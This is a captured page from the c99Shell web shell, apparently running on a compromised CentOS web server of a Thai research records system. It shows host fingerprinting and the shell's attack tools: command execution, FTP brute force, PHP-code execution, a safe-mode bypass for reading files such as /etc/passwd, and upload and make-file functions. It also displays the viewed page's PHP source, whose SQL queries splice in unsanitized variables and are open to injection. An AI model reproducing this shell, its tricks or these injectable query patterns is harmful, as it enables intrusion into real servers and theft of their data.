!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Research_depart/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ResearchDetail1.php (28.42 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../include/Function.php" );
    
        
/**  Create Database Object  */
        
$dbObj = new DBConn;

        
//=== SESSION
        
$Username $valid_user
        
        
        
/**  Config Table for This Page  */
        
$myTable1 "personal_tb";
        
$myTable2 "tech_plan_tb";
        
$myTable3 "research_file_tb";
        
$myTable4 "research_char_tb"
        
$query1 " SELECT *  FROM $myTable1  WHERE Username='$Username' ";
        
$result1 $dbObj->execQuery($query1);
        
$rs1 $dbObj->fetchObject($result1);
        
        
$Teacher_code $rs1->Teacher_code;
        
        
/**  Paging */
        
$page $_GET['page'];
        if( 
$page == "" ) { $page 1; }
        
        
/**  จำนวนข้อมูล ต่อ 1 หน้า  */
        
$perpage $_REQUEST['perpage'];
        if( 
$perpage == "" ) { $perpage 10; }
        
        
/**  โฟลเดอร์ไฟล์เอกสาร */
        
$doc_path $_Config_live_site."/Research_pic";
        
        
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<title>ข้อมูลทั่วไปบุคลากร - ข้อมูลงานวิจัย - ผลงานการวิจัย - รายละเอียดงานวิจัย</title>
<style type="text/css">
<!--
.style22 {font-size: 14px; font-weight: bold; }
-->
</style>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px">
    <?php
        $sql 
" SELECT *  FROM personal_tb AS t, research_tb AS r  WHERE t.Teacher_code = r.Teacher_code  AND  r.Research_code='$Research_code' ";
        
$result mysql_query($sql);
        
$rs mysql_fetch_array($result);
    
?>
    <fieldset>
      <table width="759" border="0" cellspacing="0" cellpadding="0">
        <form id="myForm" name="myForm" method="post" action="<?=$PHP_SELF;?>?page=<?=$page;?>">
          <tr>
            <td width="759" height="5"></td>
          </tr>
          <tr>
            <td height="30" background="../images/background/bg-head-topic-w780.gif" class="PADDING-LEFT-10"><strong><a href="index.php">หน้าหลัก</a></strong> <strong>&raquo; <a href="Research.php">ข้อมูลงานวิจัย</a> &raquo; <a href="ResearchByYear.php?Teacher_code=<?=$Teacher_code;?>">ข้อมูลงานวิจัยรายปี</a> &raquo; <span class="NOTE">รายละเอียดงานวิจัย</span></strong></td>
          </tr>
          <tr>
            <td><table width="97%" border="0" align="center" cellpadding="0" cellspacing="0">
              <tr>
                <td>&nbsp;</td>
              </tr>
            </table></td>
          </tr>
          <tr>
            <td align="center"><table width="732" border="0" align="center" cellpadding="2" cellspacing="2" style="border:1px solid #EEEEEE">
              <tr bgcolor="#FFEFDF">
                <td width="129" height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF" class="PADDING-TOP-10"><font color="#003366" face="Tahoma">ชื่องานวิจัย</font></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10 PADDING-TOP-10"><strong><font color="#000000" size="2" face="Tahoma"><span class="PADDING-LEFT-5 PADDING-RIGHT-3"><?php echo htmlspecialchars_decodenl2br$rs['Research_name'] ) ); ?></span></font></strong></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">ประเภทงานวิจัย</font></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma"><? echo $rs['Research_type']; ?></font></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">ลักษณะผลงานวิจัย</font></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma"><? echo $rs['Research_char']; ?> &nbsp;<? echo $rs['Research_char_else']; ?></font></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">สาขาวิชา</font></td>
                <td width="587" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma"> <? echo $rs['Branch']; ?></font></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">ชื่อผู้วิจัย</font></td>
                <td width="587" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma"> <strong>
                  <?php
                            
echo "$rs[First_name]";
                      
?>
                  <?php
                            
echo "$rs[Teacher_name]";
                      
?>
                  <?php
                            
echo "$rs[Teacher_lastname]";
                      
?>
                </strong></font></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="style16"><font color="#003366" face="Tahoma">ปีที่เริ่มทำ</font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#003366" size="2" face="Tahoma">
                  <?php 
                            $sday 
$rs['Year_start'];
                            
$yearthai explode("-",$sday);
                            
$day intval($yearthai[2]);
                            
$month intval($yearthai[1]);
                            
$year intval($yearthai[0]);     
                              
$m getThaiSubMonth($month);
                                echo
"$day"." "."$m"." "."$year";
                        
?>
                </font></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">ปีที่แล้วเสร็จ</font></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#003366" size="2" face="Tahoma">
                  <?php 
                            $sday 
$rs['Year_finish'];
                            
$yearthai explode("-",$sday);
                            
$day intval($yearthai[2]);
                            
$month =  intval($yearthai[1]);
                            
$year intval($yearthai[0]);     
                            
$m getThaiSubMonth($month);
                                echo
"$day"." "."$m"." "."$year";
                        
?>
                </font></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">ตำแหน่งการวิจัย</font></td>
                <td width="587" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma"> <? echo  $rs[R_position]?></font></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" colspan="2" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><table width="79%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#FFFFFF" style="background-color:#eeeeee; border:0px solid gray">
                  <tr bgcolor="#F0F0F0">
                    <td height="25" colspan="5" align="left" bordercolor="#999966" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font size="2" face="Tahoma" ><a href="javascript:;" onclick="NewWindow('AddPlanFiletex.php?Plan_code=<?php echo $rs['Plan_code']; ?>','Detail','750','400','yes')"> <img src="../picture/new.gif" alt="เพิ่มรายการเอกสาร" width="16" height="16" border="0" /></a></font><font color="#000000">&nbsp;&nbsp;<span class="style22"> เพิ่มผู้ร่วมวิจัย</span></font></td>
                    </tr>
                  <?php
              $query 
" SELECT *  FROM  $myTable4   WHERE   Research_code='$Research_code'  ";
              
$result $dbObj->execQuery($query);
             
$numrows $dbObj->_numrows;  
                  
?>
                  <?php
                $no 
1+($display-1)*$limit;
                while( 
$rs $dbObj->fetchArray($result) ) { 
                    
$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" "#FFFFFF";
              
?>
                  <tr bgcolor="<?=$bgColor;?>">
                    <td width="3%" height="20" align="right"><img src="../images/icons/linesub.gif" width="16" height="16" border="0" align="absmiddle" /></td>
                    <td width="72%" align="left" class="PADDING-LEFT-5"><a href="javascript:;" onclick="NewWindow('DetailPlanFile.php?textId=<? echo $rs['textId'];?>','Detail','750','500','yes');"><font color="#000000" size="2" face="Tahoma">
                      <?php
                    $Teacher_code
=  $rs['Teacher_code'] ;
                    
$sql11 " Select  First_name,Teacher_name,Teacher_lastname From personal_tb   Where Teacher_code='$Teacher_code' ";
                    
$result11 mysql_query($sql11);
                    
$rs11 mysql_fetch_array($result11); 
                        echo
"$rs11[First_name]&nbsp;$rs11[Teacher_name]&nbsp; $rs11[Teacher_lastname]";
                 
?>
                    </font></a></td>
                    <td width="14%" align="left" class="PADDING-LEFT-5"><font color="#000000" size="2" face="Tahoma"><? echo  $rs[R_position]?></font></td>
                    <td width="5%" align="left" class="PADDING-LEFT-5"><font size="2" face="Tahoma"><a href="javascript:;" onclick="NewWindow('FrmPlanFiletex.php?textId=<? echo $rs['textId']?>','Detail','750','400','yes');"><img src="../images/icons/icon-edit.gif" alt="แก้ไขข้อมูล" width="16" height="16" border="0" /></a></font></td>
                    <td width="6%" align="left" class="PADDING-LEFT-5"><div align="center"><strong><font size="2" face="Tahoma">
                      <script language="JavaScript" type="text/javascript">
                function Conf<?=$rs[ResearchId];?>0(object) {
                    if (confirm("คุณต้องการลบข้อมูล <?php echo " $rs[Filename]"?> หรือไม่?") == true) {
                        return true;
                    }
                    return false;
                }
                      </script>
                      <a href="DelPlanFiletex.php?textId=<?php echo $rs['textId']; ?>&amp;Plan_code=<?php echo $rs['Plan_code'];?>"> <img src="../images/icons/cross.png" width="16" height="16" align="absmiddle" border="0" onclick="return Conf<?=$rs[textId];?>0(this)" alt="ลบข้อมูล" /></a></font></strong></div></td>
                    </tr>
                  <?php
                    
//$no++;
                
# while
              
?>
                  <tr>
                    <td height="22" colspan="5" align="center" bgcolor="#F8F8F8"><strong>ทั้งหมด <span class="NOTE"><?php echo $numrows?></span> รายการ</strong></td>
                    </tr>
                </table></td>
                </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF">&nbsp;</td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10">&nbsp;</td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="style16"><font color="#003366" face="Tahoma">ผู้ร่วมวิจัย 
                  1</font></span></td>
                <td width="587" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                    $name1 
=  $rs['name1'] ;
                    
$sql11 " Select  First_name,Teacher_name,Teacher_lastname From personal_tb Where Teacher_code='$name1' ";
                    
$result11 mysql_query($sql11);
                    
$rs11 mysql_fetch_array($result11); 
                        echo
"$rs11[First_name]&nbsp;$rs11[Teacher_name]&nbsp; $rs11[Teacher_lastname]";
                 
?>
                </font></td>
              </tr>
              <?php
                    $name2 
=  $rs['name2'];
                    if( 
$name2 != ) {
                
?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="style16"><font color="#003366" face="Tahoma">ผู้ร่วมวิจัย 2</font></span></td>
                <td width="587" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                    
//$name2 =  $rs['name2'];
                    
$sql11 " Select  First_name,Teacher_name,Teacher_lastname From personal_tb Where Teacher_code='$name2' ";
                    
$result11 mysql_query($sql11);
                    
$rs11 mysql_fetch_array($result11); 
                        echo 
"$rs11[First_name]&nbsp;$rs11[Teacher_name]&nbsp; $rs11[Teacher_lastname]";
                 
?>
                </font></td>
              </tr>
              <?php #if ?>
              <?php
                    $name3 
=  $rs['name3'];
                    if( 
$name3 != ) {
                
?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="style16"><font color="#003366" face="Tahoma">ผู้ร่วมวิจัย 3</font></span></td>
                <td width="587" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                    
//$name3 =  $rs['name3'] ;
                    
$sql11 " Select  First_name,Teacher_name,Teacher_lastname From personal_tb Where Teacher_code='$name3' ";
                    
$result11 mysql_query($sql11);
                    
$rs11 mysql_fetch_array($result11); 
                        echo
"$rs11[First_name]&nbsp;$rs11[Teacher_name]&nbsp; $rs11[Teacher_lastname]";
                
?>
                </font></td>
              </tr>
              <?php #if ?>
              <?php
                    $name4 
=  $rs['name4'];
                    if( 
$name4 != ) {
                
?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="style16"><font color="#003366" face="Tahoma">ผู้ร่วมวิจัย 4</font></span></td>
                <td width="587" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                    
//$name4 =  $rs['name4'] ;
                    
$sql11 " Select  First_name,Teacher_name,Teacher_lastname From personal_tb Where Teacher_code='$name4' ";
                    
$result11 mysql_query($sql11);
                    
$rs11 mysql_fetch_array($result11); 
                        echo
"$rs11[First_name]&nbsp;$rs11[Teacher_name]&nbsp; $rs11[Teacher_lastname]";
                 
?>
                </font></td>
              </tr>
              <?php #if ?>
              <?php
                    $name5 
=  $rs['name5'];
                    if( 
$name5 != ) {
                
?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="style16"><font color="#003366" face="Tahoma">ผู้ร่วมวิจัย 
                  5</font></span></td>
                <td width="587" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                    
//$name5 =  $rs['name5'] ;
                    
$sql11 "Select  First_name,Teacher_name,Teacher_lastname From personal_tb Where Teacher_code='$name5' ";
                    
$result11 mysql_query($sql11);
                    
$rs11 mysql_fetch_array($result11); 
                        echo
"$rs11[First_name]&nbsp;$rs11[Teacher_name]&nbsp; $rs11[Teacher_lastname]";
                 
?>
                </font></td>
              </tr>
              <?php #if ?>
              <?php
                    $name6 
=  $rs['name6'];
                    if( 
$name6 != ) {
                
?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="style16"><font color="#003366" face="Tahoma">ผู้ร่วมวิจัย 6</font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                    
//$name6 =  $rs['name6'] ;
                    
$sql11 " Select  First_name,Teacher_name,Teacher_lastname From personal_tb Where Teacher_code='$name6' ";
                    
$result11 mysql_query($sql11);
                    
$rs11 mysql_fetch_array($result11); 
                        echo
"$rs11[First_name]&nbsp;$rs11[Teacher_name]&nbsp; $rs11[Teacher_lastname]";
                 
?>
                </font></td>
              </tr>
              <?php #if ?>
              <?php
                    $name7 
=  $rs['name7'];
                    if( 
$name7 != ) {
                
?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="style16"><font color="#003366" face="Tahoma">ผู้ร่วมวิจัย 
                  7</font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                    
//$name7 =  $rs['name7'] ;
                    
$sql11 " Select  First_name,Teacher_name,Teacher_lastname From personal_tb Where Teacher_code='$name7' ";
                    
$result11 mysql_query($sql11);
                    
$rs11 mysql_fetch_array($result11); 
                        echo
"$rs11[First_name]&nbsp;$rs11[Teacher_name]&nbsp; $rs11[Teacher_lastname]";
                 
?>
                </font></td>
              </tr>
              <?php #if ?>
              <?php
                    $name8 
=  $rs['name8'];
                    if( 
$name8 != ) {
                
?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="style16"><font color="#003366" face="Tahoma">ผู้ร่วมวิจัย 8</font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma">
                  <?php
                    
//$name8 =  $rs['name8'] ;
                    
$sql11 " Select  First_name,Teacher_name,Teacher_lastname From personal_tb Where Teacher_code='$name8' ";
                    
$result11 mysql_query($sql11);
                    
$rs11 mysql_fetch_array($result11); 
                        echo
"$rs11[First_name]&nbsp;$rs11[Teacher_name]&nbsp; $rs11[Teacher_lastname]";
                 
?>
                </font></td>
              </tr>
              <?php #if ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">บทคัดย่อ</font></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma"><span class="PADDING-LEFT-5 PADDING-RIGHT-3"><?php echo htmlspecialchars_decodenl2br$rs['abbStract'] ) ); ?></span></font></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">แหล่งเงินทุน</font></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" face="Tahoma"><? echo $rs['Fund_resourceIn']; ?></font> จำนวนเงิน <font color="#000000" face="Tahoma">&nbsp;<? echo number_format($rs['FundIn']); ?> บาท</font></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF">&nbsp;</td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" face="Tahoma"><? echo $rs['Fund_resourceOut']; ?> จำนวนเงิน <? echo number_format($rs['FundOut']); ?> บาท จากหน่วยงาน <? echo $rs['Resource_des']; ?></font></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">จำนวเงินทุนทั้งหมด</font></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma"><? echo number_format($rs['FundUse']); ?></font> บาท</td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">การเผยแพร่</font></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma"><? echo $rs['Propagate']; ?></font></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">ลักษณะการเผยแพร่</font></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma"><? echo $rs['Prop_type']; ?></font></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">การนำไปใช้</font></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma"><? echo $rs['Apply1']; ?> , <? echo $rs['Apply2']; ?> , <? echo $rs['Apply3']; ?></font></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF">&nbsp;</td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma"><? echo $rs['Apply4']; ?> <? echo $rs['Apply_des']; ?></font></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">ลักษณะการจดสิทธิบัตร</font></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma"><? echo $rs['Research_st']; ?></font></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">ปีงบประมาณ</font></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma"><? echo $rs['Year_prop']; ?></font></td>
              </tr>
              <?php if( $rs['Filetex'] != "" || $rs['Filetex'] != NULL ) { ?>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">ปีการศึกษา</font></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma"><? echo $rs['academic_year_finish']; ?></font></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">ปีที่เผยแพร่</font></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#003366" size="2" face="Tahoma">
                  <?php 
                            $sday 
$rs['Year_sprop'];
                            
$yearthai explode("-",$sday);
                            
$day intval($yearthai[2]);
                            
$month =  intval($yearthai[1]);
                            
$year intval($yearthai[0]);     
                            
$m getThaiSubMonth($month);
                                echo
"$day"." "."$m"." "."$year";
                        
?>
                </font></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">ดาว์โหลดไฟล์เอกสาร</font></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><?php if( $rs['Filetex'] != "" ) { ?>
                  <a href="<?=$doc_path;?>/<?=$rs['Filetex'];?>" target="_blank"><img src="../images/icons/download.png" alt=" ดาวน์โหลดไฟล์ <?=$rs['Filetex'];?> " width="16" height="16" border="0" /></a>
                  <?php } else { ?>
                  <img src="../images/icons/download_off.png" width="16" height="16" />
                  <?php ?></td>
              </tr>
              <?php # if( $rs['Filetex'] != "" ) { ?>
              <tr bgcolor="#FFEFDF">
                <td height="10" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"></td>
                <td height="10" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="10" colspan="2" align="left" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><table width="81%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#FFFFFF" style="background-color:#eeeeee; border:0px solid gray">
                  <tr bgcolor="#F0F0F0">
                    <td height="25" colspan="4" align="left" bordercolor="#999966" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font size="2" face="Tahoma" ><a href="javascript:;" onclick="NewWindow('AddFulltex.php?Research_code=<?php echo $rs['Research_code']; ?>','Detail','scrollbars=yes,width=650,height=250')"> <img src="../picture/new.gif" alt="เพิ่มรายการเอกสาร" width="16" height="16" border="0" /></a></font><font color="#000000">&nbsp;&nbsp;<span class="style22"> เพิ่ม FullTex</span></font></td>
                  </tr>
                  <?php
              $query 
" SELECT *  FROM $myTable3  WHERE Research_code='$Research_code'  ";
              
$result $dbObj->execQuery($query);
             
$numrows $dbObj->_numrows;  
                  
?>
                  <?php
                $no 
1+($display-1)*$limit;
                while( 
$rs $dbObj->fetchArray($result) ) { 
                    
$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" "#FFFFFF";
              
?>
                  <tr bgcolor="<?=$bgColor;?>">
                    <td width="4%" height="20" align="right"><img src="../images/icons/linesub.gif" width="16" height="16" border="0" align="absmiddle" /></td>
                    <td width="83%" align="left" class="PADDING-LEFT-5"><a href="javascript:;" onclick="NewWindow('<?=$doc_path;?>/<?=$rs["Filetex"]?>','Detail','850','600','yes');">
                      <?php if( $rs['Filetext'] != "" ) echo $Filetex; else echo "&nbsp;"?>
                      <?=$rs["Filename"];?>
                    </a></td>
                    <td width="6%" align="left" class="PADDING-LEFT-5"><font size="2" face="Tahoma"><a href="javascript:;" onclick="NewWindow('FrmEditFulltex.php?ResearchId=<? echo $rs[ResearchId]?>','Detail','650','250','yes');"><img src="../picture/edit.gif" alt="แก้ไขข้อมูล" width="16" height="16" border="0" /></a></font></td>
                    <td width="7%" align="left" class="PADDING-LEFT-5"><div align="center"><strong><font size="2" face="Tahoma">
                      <script language="JavaScript" type="text/javascript">
                function Conf<?=$rs[ResearchId];?>0(object) {
                    if (confirm("คุณต้องการลบข้อมูล <?php echo " $rs[Filename]"?> หรือไม่?") == true) {
                        return true;
                    }
                    return false;
                }
              </script>
                      <a href="DelFiletex.php?ResearchId=<?php echo $rs[ResearchId]; ?>&amp;Research_code=<? echo $rs[Research_code];?>"> <img src="../picture/deletenew.gif" width="16" height="16" align="absmiddle" border="0" onclick="return Conf<?=$rs[ResearchId];?>0(this)" alt="ลบข้อมูล" /></a></font></strong></div></td>
                  </tr>
                  <?php
                    
//$no++;
                
# while
              
?>
                  <tr>
                    <td height="22" colspan="4" align="center" bgcolor="#F8F8F8"><strong>ทั้งหมด <span class="NOTE"><?php echo $numrows?></span> รายการ</strong></td>
                  </tr>
                </table></td>
              </tr>
            </table></td>
          </tr>
        </form>
      </table>
    </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result);
    
$dbObj->freeresult($result1);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0142 ]--